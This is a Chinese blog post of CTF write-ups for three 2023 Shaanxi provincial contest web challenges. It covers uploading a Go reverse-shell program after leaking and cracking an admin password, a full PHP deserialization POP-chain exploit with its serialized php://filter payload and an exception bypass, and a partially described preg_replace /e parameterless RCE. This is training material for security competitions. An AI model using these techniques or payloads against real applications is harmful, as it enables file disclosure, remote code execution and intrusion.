CTF刷题记录(一)

1.2023陕西省赛---test

考点:

GO代码编写

反弹shell

步骤:

打开题目

注册进入

没啥信息,查看页面源码发现可以路由

尝试访问/profile/admin,发现信息泄露

把密码拿去md5解密得到

登录

根据提示上传go文件程序会自动执行

编写反弹shell的Go代码,文件命名为hack.go

(来源:官方wp)

在页面HTML编辑标签

写入文件上传的HTML代码

 

<form action="" enctype="multipart/form-data" method="post">

   <input type="file" name="file" id="">

   <input type="submit" value="submit">

</form>

 

 

 

 上传编写的hack.go,服务器监听,反弹至服务器。

2.2023陕西省赛--ezpop

考点:

CSS属性、PHP反序列化构造

打开题目

访问题目发现要求 Click Me,但是点不动,尝试F12,右键和 Ctrl+U 发现均会关闭页面,在地址栏F12,成功,查看app.eceb0255.js,发现可疑编码

 base64解码得到/pop3ZTgMw.php,访问

构造pop链子:

unserialize() 会去调用 night 类的 __destruct() 方法,由于方法中的 echo $this->night . '哒咩哟'; 把这个对象当成了字符串,所以调用了 day 类的 __toString() 方法,然后再调用 dark 类里的 go() 方法,然后在 go() 方法里把这个对象当成了方法使用,所以就去调用了 light 类的 __invoke 方法,又因为在 __invoke 方法里再次调用了一个不存在的 d() 方法,接着就会去调用 day 类里的 __call 方法,最后去调用 dark 类里的 getFlag() 方法。

编写exp:

<?php
class night
{
    public $night;


}

class day
{
    public $day;


}


class light
{
    public $light;


}
class dark
{
    public $dark;
  
}
$a=new night();
$a->night=new day();
$a->night->day=new dark();
$a->night->day->dark=new light();
$a->night->day->dark->light=new day();
$a->night->day->dark->light->day=new dark();
$a->night->day->dark->light->day->dark='php://filter/convert.base64-encode/resource=/flag';
echo serialize($a);
?>

输出结果:O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}

注意:传参有不可见字符,整个复制

然后使用burp传参 ,同时要绕过exception,把night的类内数量由1改为2,改完之后

O:5:"night":2:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}},传参

 

把结果拿去base64解码即可

官方绕过:

 

 3.2023陕西省赛--ezrce

 考点:

无参rce

打开题目

传入key得到源码

注意到

preg_replace函数启用/e模式:

用于指定替换字符串中的代码应该被解释为PHP代码

这里就是利用点

 

 

 简单构造,有过滤,不行

尝试无参函数rce

也被过滤了很多函数

经过尝试

还可以

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值